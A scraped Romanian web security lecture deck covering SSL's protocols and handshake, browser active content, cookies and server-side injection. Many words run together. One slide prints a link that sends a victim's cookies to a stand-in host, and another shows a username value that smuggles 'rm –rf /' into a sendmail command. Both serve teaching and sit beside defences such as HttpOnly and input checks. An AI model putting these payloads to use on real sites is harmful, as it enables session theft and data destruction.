340 likes | 436 Views
http://ssc.users.ro. Curs 8 – Securitate Web. Bogdan Carstoiu. Securitate web (Web Security). De ce ? Cum?. Motivatie : Necesitatea transmiterii pe Internet a documentelor private. Metode :
E N D
http://ssc.users.ro Curs 8 – Securitate Web Bogdan Carstoiu
Securitate web (Web Security). De ce? Cum? Motivatie: • Necesitateatransmiteriipe Internet a documentelor private. Metode: • Utilizareacriptografiei.SSL (Secure Sockets Layer)este un acronimasociatunui protocol web dezvoltat de Netscape pentru a transmitedocumente private prin Internet. • SSL utilizeaza un sistemcriptografic cu douacheipentru a criptadatele — unapublica, cunoscuta de oricine, siunaprivata, secreta, cunoscutanumai de destinatar. • Foarteraspandit, majoritateabrowserelor Web suporta SSL simulte site-uriutilizeazaprotocolulpentru a obtineinformatiiconfidentiale, cum arfinumere de card de credit. Princonventie, URL-urile care au nevoie de o conexiune SSL incep cu https: in loc de http:. • SSL creeaza o conexiunesecurizataintre un client si un server, peste care pot fitrimisedatele in siguranta.
Securitate web (2) • Un alt protocol de transmitere a datelor in sigurantaeste Secure HTTP (S-HTTP). • S-HTTP esteproiectatpentru a transmitemesajeindividuale in siguranta. • SSL si S-HTTP, prinurmare, poi fiperceputemaidegraba ca tehnologiicomplementaredecatconcurente. • Criptareanu garanteazasecuritateaweb! • Pentru a avea o conexiune SSL de incredere se pun intrebarile: • Cetrebuiesacunoascaserveruldespre client? • Cetrebuiesacunoascaclientuldespre server?
Caracterizaregenerala SSL Cunostinteleserveruluidespreclienti: • Cespuneprotocolul SSL serverului? Cu exceptiacazului in care suntutilizate certificate client-side, nu spuneabsolutnimic! • SSL realizeaza o legaturasecurizata (secure pipe). Cinevaeste la celalaltcapat, dar nu se cunoaste cine. Ce se intampla? • Teoretic, la platile cu card de credit se atasaza un ordinsemnat • Acelasilucruincearcasafaca Netscape cu SSL: un mod de asociere a unuicertificat client care estelegat de cartea de credit si care nu are numarulcartii de credit in certificat
SSL • Original, SSL a fostdezvoltat de Netscape, pentru a asigurasecuritateadatelortransportatesirutate de HTTP, LDAP, POP3. • SSL utilizeaza TCP pentru a furniza o conexiunesigurasiautentificataintreceledouapuncte ale retelei (clientulsiserverul). HTTP LDAP POP3 SSL TCP/IP Localizare SSL
SSL - Obiective Obiectiveleprincipale ale protocoluluiSSL sunt: • Autentificareaclientuluisiserveruluiunulfata de celalalt. SSL permiteutilizareatehnicilor standard de criptare (cu cheiepublica) pentru a permiteautentificareacelordouaparti. Desicelemaifrecventeaplicatiiconstau in autentificareaunuiserviciu client pebazaunuicertificat, SSL poatefolosiacestemetodesipentru a autentificaclientul. • Asigurareaintegritatiidatelor: in timpuluneisesiunidatele nu pot fifalsificate. • Asigurareaconfidentialitatiidatelor: datele de transport dintre client si browser trebuieprotejate de interceptaresicitire. Acestlucruestenecesaratatpentrudateleasociate cu protocolulinsusi (securizareatraficului in timpulnegocierii) cat sipentrudateleaplicatiei care sunttransmise in timpulsesiunii. Privit din acestpunct de vedere SSL estemaimult un set de protocoale.
SSL - Arhitectura SSL poatefivazut ca fiinddivizatpe 2 niveluri: • Un protocol care asigurasecuritateasiintegritateadatelorSSL Record Protocol (Protocolul de inregistrare SSL) • Un protocolul care stabilesteconexiunile SSL. La acestnivel se utilizeazaalte 3 protocoale: Protocolul SSL Handshake (Protocoluldialogului de confirmare), Protocolul SSL Change Cipher (Protocolul de schimbarecifru SSL) siProtocolul SSL Alert (Protocolul de alerta SSL). SSL Handshake SSL Change Cipher SSL Alert Protocol la nivel aplicatie ex: HTTP SSL Record TCP (nivel transport) IP (nivel retea) Stiva SSL
SSL – protocoalecomponente • Scopulprotocolului SSL Record estepreluareaunuimesaj al aplicatieisitransmiterealui in retea, prinprotocolul TCP. • SSL Record serveste ca bazapentruprotocoalele de la nivelurilesuperioare. • Protocolul SSL Record esteresponsabil de criptareasiintegritateadatelor. • SSL Record estefolositpentruincapsulareadatelortrimise de alteprotocoale. • SSL Record esteimplicat in sarcinile de verificarea a datelor. • Protocoalele de penivelul superior se ocupa de managementulsesiunilor, managementulparametrilor de criptaresi de transferulmesajelor SSL intre client si server.
Protocolul SSL Record Creareapachetelor SSL Record: • Fragmentare • Incapsulare • Creareobiect (record) • Criptareobiect • Transmitere Date initiale Data 1 Data 2 Data 3 Date comprimate Cod MAC criptare Date criptare Pachet TCP
Calcul MAC Fragmentarea se face in blocuri de cel mult 214 octeti. Calcularea MAC este definita astfel: Hash(MAC_write_secret+pad_2+hash(MAC_write_secret+pad_1+seq_num+ SSL.Compressed.type+SSL.Compressed.length+SSL.Compressed.fragment)) in care: • + = operator de concatenare • MAC_write_secret = cheie secreta simetrica • hash = algoritm pentru hash: MD5 sau SHA-1 • pad_1 = octetul 36H repetat de 48 de ori pentru MD5 sau de40 de ori pentru SHA-1 • pad2 = octetul 5CH repetat de 48 de ori pentru MD5 sau de40 de ori pentru SHA-1 • seq_num = numarul de secventa al mesajului • SSL.Compressed.type = protocolul de nivel superior care proceseaza fragmentul • SSL.Compressed.length = lungimea fragmentului • SSL.Compressed.fragment= fragmentul dupa compresie (daca nu se foloseste compresia, textul clar) Blocul care rezulta prin adaugarea MAC la fragmentul compresat este criptat cu un algoritm de criptare simetrica, de exemplu: IDEA, DES, 3DES, Fortezza.
Protocoalele Alert si Change Cipher • Protocolul Alertestefolosit de catreunadintrepartipentru a transportamesajele in timpulsesiunii. • Fiecaremesaj din protocolul Alert estealcatuit din 2 octeti: • Primul octet contine o valoare 1- “warning” sau 2- “fatal”, care determinaimportantamesajuluitrimis. Trimitereaunuimesajavandstatutul de “fatal” de oricaredintrepartiva duce la terminareaimediata a sesiuniii SSL. • Al doilea octet al mesajuluicontineunul din codurile de eroare, care poateaparea in timpuluneisesiuni de comunicare. • Protocolul Change Cipher (Protocolul de schimbare de cifru) estefolosit de catreunadintrepartipentru a transportamesajele in timpulsesiunii • Este celmaisimpludintreprotocoalelemembre SSL. • Contine un singurmesaj cu valoarea 1. Acest tip de mesajestetrimis de la client catre server siinvers. • Dupaschimbul de mesaje se stabileste o sesiune. • Acestmesajsioricealtemesajesunttransferatefolosindprotocolul SSL Record.
SSL - Protocolul Handshake • Este ceamaicomplexacomponenta a protocoalelorcomponente SSL. • Este utilizatpentru a initia o sesiuneintre un server si un client. • Suntnegociatemaimultecomponente, cum arfialgoritmulsicheilefolositepentrucriptareadatelor. • Folosindacest protocol esteposibilaautentificareapartilorunafata de cealaltasinegociereaparametrilorsesiunii. • Procesul de negociere se desfasoarapeparcursul a patru faze. • Faza 1: initiereauneiconexiunilogiceintre client si server, urmata de negociereaparametrilor • Faza 2: incepereanegocierii de autentificare a serverului de catre client • Faza 3: verificareacertificatuluiserveruluisi a celorlaltiparametritransmiside catreserver • Faza 4: Confirmareamesajuluiprimitsiverificareadatelor. La succes se incepetransmisiadatelorintre client si server.
Schema protocol negociere (1) Hello-client Faza 1 Mesajul Hello-client. Clientultrimite un mesaj de salutserverului care contine date cum arfi: • ceamainouaversiune SSL pe care o foloseste • date aleatoarefolositepentruprotectiacheii de sesiune; • id-ulsesiunii : numarul de identificare al sesiunii. O valoarediferita de 0 indicafaptul ca un client dorestesaactualizezeparametriiconexiuniisausastabileasca o nouaconexiune a acesteisesiuni. O valoareegala cu 0 indicadorintaclientului de a stabili o nouaconexiune • lista cu cifruri : o lista de algoritmi de criptaresimetode de schimb ale cheilorsuportate de catre client. Client Hello-server Server
Schema protocol negociere (2) Mesajul Hello-server Serverul, ca mesaj de raspunstrimiteclientului, de asemenea, un mesajde salutcontinandaceleasicampuri ca la mesajulprimit: • versiunea: ceamaivecheversiune a protocolului SSL suportata de care server; • date aleatoare (pentruprotectiamesajului) • id-ulsesiunii: dacacampulclientuluiestediferit de 0 se pastreazavaloarea, altfel id-ul de sesiune al serveruluicontine o valoarepentru o sesiunenoua • Lista de cifruri: o multime de protocoaleselectate de server dintrecelepropuse de client. Primul element al acestui camp estemetodaaleasapentruschimbulcheilor de criptare, urmatorul element specificaalgoritmul de criptaresifunctiile hash care vorfifolosite.
Schema protocol negociere (3) • In faza 2: Serverulincepeurmatoarefaza a negocieriitrimitandcertificatulsaupentru a fiautentificat de catre client. Acest pas nu esteobligatoriusipoatefiomisdacametodanegociatapentruschimbul de chei nu ceretransmitereacertificatului. Pasul final al fazei 2 estemesajul de raspuns al serverului. Dupatrimitereaacestuimesaj se asteapta un raspuns. Client Server Certificat Transmitere cheie server Cerere certificare server
Schema protocol negociere (4) • In faza 3: La finalulfazei 2 clientul a primitmesajul de la server siclientulvatrebuisaverificecertificatulserverului, precumsiceilaltiparametritransmisi de server odata cu mesajul de salut. Client Server Certificat Verificare certificat Transmitere cheie certificat
Schema protocol negociere (5) Faza 4, consta in confirmareamesajuluiprimitsiverificareadatelor. • Clientultrimite un mesaj cu lista de cifrurisiapoifixeazaparametriisicheilealgoritmilor, clientultrimitemesajul de inchidere care esteprotejatprinintermediulalgoritmuluisicheilor secrete. Astfel se confirmadacaparametriinegociatisidatelesuntcorecte. • Serverul, ca raspuns al mesajului client trimiteaceeasisecventa de mesaje. Dacamesajul de final estecorectatuncidateletransmise, algoritmiinegociatisicheia de sesiunesuntcorecte. Acesteaindicafaptul ca sesiunea s-a terminatsiesteposibilatransmitereadateloraplicateiintre client si server prin SSL. In final, sesiunea TCP intre client si server esteinchisa. Client Server Schimb cifru Stop Schimb cifru Stop
Comentarii SSL • Tehnologie care permitesecurizareauneisemnaturifarasase utilizezeparola; • Permite o identificare a site-ului la care se conecteazafaraajutoruluneiterteparti • Toateacestea pot fifacuteutilizand certificate SSL client • Cand se viziteaza o paginaprotejata SSL uzualbrowserulverificaidentitatea site-uluiprinverificareacertificatului. Site-ulindepartatestecapabilsaverificeidentitateautilizand un certificatfurnizat in prealabil • Siteurile pot face ca browserulsagenerezeperechea de chei • Certificatulestepastrat in browser sibrowserulilvatrimite la orice site securizat care cereacestlucru. • Site-ul la randulsauitipoateverificacalitatea de proprietar al cheii private asociateprezentuluicertificat.
Web browser security • Browserele web constituieunadintrecelemaiutilizateaplicatii, ca urmareesteextrem de importantacunoastereavulnerabilitatiloracestora. • Statisticapublicatape 10 feb 2009. Daumaijosrezultatele cu mediilepezirealizatadupa o monitorizare in ultimele 365 de zile a vulnerabilitatilorprincipalelorbrowsere. • Valorile “High severity” includvulnerabilitatileraportatemarcate ca “highly critical” simaimult. Nivelul “Relative danger” a fostcalculatprinadaugareapatratuluinivelului la fiecarevulnerabilitateraportata (ne critica=1², extrem de critica=5²).
Caracteristici ale securitatii la browsere Componenteimplicate in securitateabrowserelor web: • Interfatautilizator; • Erori ale codului browser; • Continutulactiv al paginilorinterpretat de catre browser. Scopulatacatorilor: • Furt de informatiipersonale, in special parole pentruinformatiifinanciare; • Crearea de “roboti” pe calculator ce pot fiutilizatipentruatacuriDoS, trimiterea de spam, gazduirea de phishing web site. De cesuntbrowserelenesigure? • Sarcinalorestecomplexa • Standardele in web suntmulteinca in curs de definire
Tipuri de continutactiv Pentru a crestefunctionalitateasi a imbunatatidesignul de foartemulteori in siteuri web suntinclusescripturi care executaprograme in browser (client side). Din nefericireacestescripturisunt o caleprin care atacatoriiincarcasiexecuta cod rauintentionatpemasinautilizatorului. • Javascript – uzualsiusor de incorporat. Un atacuzualJavascriptesteredirectionareautilizatorilor de la un site legitim la unulmalitios care poatedistribuivirusisicolectainformatiipersonale. • ControaleJava si ActiveX – Spredeosebire de JavaScript, controalele Java si ActiveX suntprograme care se gasescpepropriul calculator si pot fidescarcate in browser. Controalele Active X pot executaoricepe un calculator. Appleturile Java ruleaza in mediumairestrans, dardaca nu este de increderepoatecreaoportunitatiatacatorilor. • Paginile web continprogramesaureferinte la acestea; • Unelepaginiinvitautilizatorii: “please install this plug-in”, adica un program; • Toateformele de continutactivsuntutilitareleobisnuite ale atacatorilor. Dacasuntdezactivateprobabil site-ul nu poatefifolositcorect.
Javascriptsi AJAX Javascript: • Nu are legatura cu Java – initial s-a numitLiveScript; • Sursacelormaimultebrese de securitate in Firefox si IE; • Nu esteclarmodelul de securitate; • Legaturiputerniceintrescripturi de atacaflatepesiteuridiferite. AJAX: • Ajax – Asynchronous Javascriptsi HTML; • Permiterealizarea de paginiextrem de interactive; • Implicatiile de securitatepentru client si server suntincadestul de neclare, daresteclar ca se creeaza premise.
Active X Active X – caracteristici: • Ceamai mare eroare de design la continutactiv: ruleaza cu permisiuni complete; • Peste 1000 de controale • Translatia: extrem de multeposibilitati de atac Descarcareacontroalelor active X: • Oricepagina web poatedescarcaaltecontroale; • Translatia: o pagina web poatedescarca o bucata de cod arbitrarapentru a o rula la un utilizator; • Singuraprotectieeste o semnaturadigitala in coduldescarcat; • Nu suntrestrictiipentruceeacepoate face codul. De ce ActiveX? • Poatefiutilizat cu succes la Windows Update; • Numai IE are ActiveX, estesingura mare diferentaintre IE si Firefox.
Autentificarea continua • Autentificareainitialaesterealizataprinparola; • Ea poateficontinuataprin: • Cookies: text special formatattrimisde server unui browser la fiecareconectare, browserulretrimitetextulserveruluipentruautentificare. Problema: Se colecteaza date desprecalculatorulutilizatorului (adresa IP, domeniul la care esteconectat, tip de browser, preferinte, profil ..) • Valoriascunse: informatiileprotejatesuntincluse in pagina in campuriascunsesitrimisecatre server printr-o metoda HTTP • Ambelemetode au limitari, problemafundamentala vine de la faptul ca ambelesunttrimise de clientice nu sunt de incredere Clientinesiguri (Untrusted) • Un site web esteinteresat in identificareautilizatorilor; • Acestlucrustimuleazautilizatorii in a trisa; • Scopul site-ului web este de a face imposibilatrisarea de catre client • Un site web nu controleaza software-ulinstalat la client
Protejareainformatiei de identificare • Dupaceutilizatorul se logheaza se creaza un sir de caractere care contine user-id; • Criptareaesteoptionala, dargenerarea MAC cu cheiecunoscutadoar de server esteobligatoriesirezultatulestetransmisclientului • Candsirulestetrimis la server se valideaza MAC si se decripteazapentru a vedea cine esteclientul • Doarserverulcunoasteacestechei, decinumaiserverulpoatecreasiruri de caractereprotejate • Optional: se poate include timestamp, adresa IP, etc Valorileascunse in URL suntvizibile in fisierele log.
Cookies Caracteristici: • Folosituzual • Permiteutilizatorilorsareintrepe un site (sa se identifice) • Session cookies – pastreazainformatiilenumaipeduratautilizarii browser-ului. La inchidereaacestuiainformatiaestestearsa • Persistent cookies – se pastreazapepropriul calculator, poatefiajustatintervalul de timp de pastrare a datelor (ex. email account – paginapersonalizata la deschidere mail, pagina web favorita..). • Stocatipeharddiscurileutilizatorului (pot ficopiatiusor). Protectiadatelor de autentificare: • La autentificarea continua datele de autentificaresunt de celemaimulteorinecriptate • Celemaimulte site-uri nu dorescincarcareasuplimentara cu SSL pentruorice • Credentialelesuntusor de furat • Aparareauzuala: limitareaduratei de viata; reautentificareainainte de face lucrurifoartesensibile din punctul de vedere al sigurantei.
Dezavantaje cookies (1) Identificareaimprecisa: • Dacape un calculator suntfolositemaimultebrowsere, fiecarevaavea cookie-urile sale. Un cookie nu identificapersoana, cicombinatia cont de utilizator, calculator, browser. • Nu se poate face diferentadintredoiutilizatori care folosescacelasi calculator si browser (daca nu folosescconturi de utilizator locale diferite). Interceptarea cookie: • Sesiunile HTTP obisnuitesuntvizibiletuturorcalculatoarelor din retea, care pot interceptapachetele de date. Aceste cookie-uri nu pot continedeciinformatiiconfidentiale. O solutieposibilaeste HTTPS. • „Cross-site scripting” (XSS) permitetrimitereaunui cookie altorservere, care in mod normal nu artrebuisa-l primeasca. Browser-elemoderne permit executareaunorfragmente de cod primite de la server; daca cookie-urile pot fiaccesate in timpulexecutiei, elearputeafitrimisealtorserveredecatcele „autorizate”. Criptarea nu ajutaimpotrivaacestui gen de atac. Metodaeste de obiceifolositape site-uri care permit utilizatorilorsatrimitacontinut HTML. • Folosind un fragment de cod, un utilizatorrau-voitorpoatesaprimeasca cookie-uri ale altorutilizatorisi cu ajutorullor se poateconecta ca sapacaleascaserverul care crede ca altcineva s-a autentificat.
Dezavantaje cookies (2) „Otravirea” cookie-urilor: • „Otravirea” cookie-urilor: un atacatortrimiteunui server un cookie invalid (un cookie primit de la server, darmodificat). • Cookie-urileartrebuisa fie retinutesitrimiseserveruluineschimbate; un atacatorpoatesa le modificesiapoisa le trimitaserverului • Efect: Daca un cookie retinesuma care trebuieplatitapentrucumparaturischimbareaacesteivaloriarputeapermitecumparareaunorbunuri la un pretmultmaimic. • Celemaimulte site-uriretin cu ajutorul cookie-urilordoar un identificator de sesiune (un numarunicgenerataleator) care identificasesiunea. El reprezinta un index intr-o tabelainterna a serverului, in care se retinvalorile cu adevaratimportante, cum arfipretulunorcumparaturi, etc. Cookie inter-site: • Fiecare site artrebuisaaibaaccesdoar la cookie-urileproprii • Erori in programareabrowsere-lorpot duce la incalcareaacesteireguli • Situatiesimilaratrimiterii de cookie-urimodificate, dar nu esteatacatserverul, ci un utilizatorfoloseste un browser vulnerabil. • Prinele se poatefuraidentificatorul de sesiunesiatacatorulpoatesa se „autentifice” in loculutilizatorului de bunacredinta.
Alternative la cookie In cazul in care browserulesteconfiguratsa nu accepte cookie suntposibile alternative: • Adresa IP (sapermitaincarcareapaginilordacacerereavine de la o anumitaadresa) esteputinprecisa, probleme cu NAT. • URL (query string) cevamaiprecisa se bazeazapeintroducereainformatiei in adresa URL. Parteadenumita „query string” estefolosita de obicei, dar se pot folosisialtesectiuni. Mecanismulsesiunilor PHP folosesteaceastametodadaca cookie-urile nu sunt activate. • Autentificare HTTPProtocolul HTTP include mecanisme care permit accesareauneipagini Web doardupafurnizareaunuinume de utilizatorsi a unei parole, pe care browser-ul le retinesi le transmite server-ului la fiecarecerere, farasa fie introduse de fiecare data; din punctulacestuia de vedere, lucrurile se desfasoara ca si in cazulfolosirii cookie-urilor. Transmitereaparolei (sichiar a numelui de utilizator) de fiecare data candesteceruta o paginaestedestul de nesigura: acesttraficpoatefiinterceptat.
Alternative la cookie (2) • Obiecte Locale Adobe Flash. Daca un browser folosesteplugin-ulAdobe Flash Player functia de salvarelocala a unorobiectepoatefifolositaintr-un mod foarteasemanator cookie-urilor. Aceastapoatefi o optiuneatragatoarepentrudezvoltatorii de pagini Web, pentru ca majoritateautilizatorilorfolosescacestplugin. In plus, configurarilesunt separate de cookie-uri, decistocarealocala a obiectelorpoatefiactivata, iar cookie-uriledezactivate. Din pacate are alteprobleme de securitate (chiarmaiimportante). • Altemetode de a stoca date localUnelebrowseresuporta un mecanismprin care paginile Web isi pot stoca local unele date printr-un script. IE poatefifolositpentru a stoca date intr-o pagina Web salvatape hard local, intr-un document XML, sau in sectiunile „Favorites” ori „History” ale browser-ului. • window.nameDacaJavascriptesteactivat, proprietatea name a obiectului window poatefifolositapentru a stoca local date, deoareceaceastaramaneneschimbata la incarcareasuccesiva a unorpagini Web. Metodaestemaiputincunoscutasifolosita.
Furt cookie • Furt cookie. In general cookie-urilesunttrimisedoarserverelor care le-au creat, pentrua le „fura” browser-ultrebuiesa le trimitaaltorservere. • Scripturile JavaScript au de obiceiacces la toate cookie-urilestocate de browser, si pot sa le trimitaoriunde. De ex, cel care detinedomeniul example.com poatescriepe un alt site o legatura : • <a href="#“ onclick="window.location='http://example.com/stole.cgi?text= '+escape(document.cookie); return false;">Click here!</a> • Cand un utilizatorapasapeacest link, browserulinlocuiestedocument.cookie cu lista cookie-urilor active peacelsite, care ajungastfel la serverul example.com, siasa are acces la cookie-urileutilizatorilorsituluipe care a pus link-ul. • Atacimposibil de prevenit de browser, pentru ca scriptul vine chiar de la serverul care a creat cookie-urile, sitotul pare a fiautorizat de acel server. • Solutie: administratoriisiturilor care permit utilizatorilorsa le modificecontinutulsaimplementezemetodepentrurespingereaacestui gen de scripturi. • FlagulHttpOnly nu le facvizibile la programele client precum JavaScript. Ex: • Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net; HttpOnly • Candbrowserulprimeste un astfel de cookie, el trebuiesailfoloseasca in mod obisnuitpentruschimburile HTTP urmatoaresisa nu-l facavizibilscripturilor.
Server-side Security Serverelesunttinteatragatoarecelputin din urmatoarele motive: • Stergereainformatiilorstocatesaudegradarealor • Furt de date (de regula date sensibile cum suntcele de conturibancare); • Distribuire “malware” la clienti care au incredere in acel site Apararea standard: • Verificareatuturorintrarilor • Constientizareafaptului ca nimic din ceeaceclientultrimite nu poateficonsiderat de incredere • Verificareaperiodica a site-ului (audit)
Scripturi server-side • Majoritatea site-urilor web utilizeazascripturi server-side: CGI, ASP, PHP, Ruby, server-side include etc.; • Fiecare din acestescripturieste un serviciu de reteadiferit; • Pentru ca un site sa fie securizattoatescripturileluitrebuiesa fie securizate; • Ce context de securitateproducscripturile la rulare? Cum face serverulprotectiafisierelorsensibile in timpulexecutariiscripturilor cu functionaredubioasa? • Ultimaproblemaatacataeste o problemaparticulara cu scripturi server side, cum arfi PHP; • Protectiepartiala: utilizare de ceva similar cu suexec; rulareascripturilor ca un utilizatordiferitsirulareaproceselor web server ca utilizator web server implicit.
Injection Attacks; Curatire site • Adesea, intrarilefurnizate de utilizatorisuntutilizatepentru a construi un fisiersaupentru o interogare SQL. • SQL injection attack este o tehnica care exploateazavulnerabilitatile la nivel de database layer a uneiaplicatii. Vulnerabilitatea se manifestacandintrarileutilizatorsuntincorect filtrate pentrucaracterele escape. • Utilizatoriirauintentionati pot trimite date false. (ex: in script care trimite email colecteaza username siexecuta: /usr/bin/sendmail username. Utilizatorulfurnizeaza: foo; rm –rf / ca un username. Codulce se executaeste: /usr/bin/sendmailfoo; rm –rf / • Rezultat: stergerecontinutsistem de fisiere Curatire site: • Stergereascripturilorimplicitenesecurizate (ex: nph-test-cgi la Apache).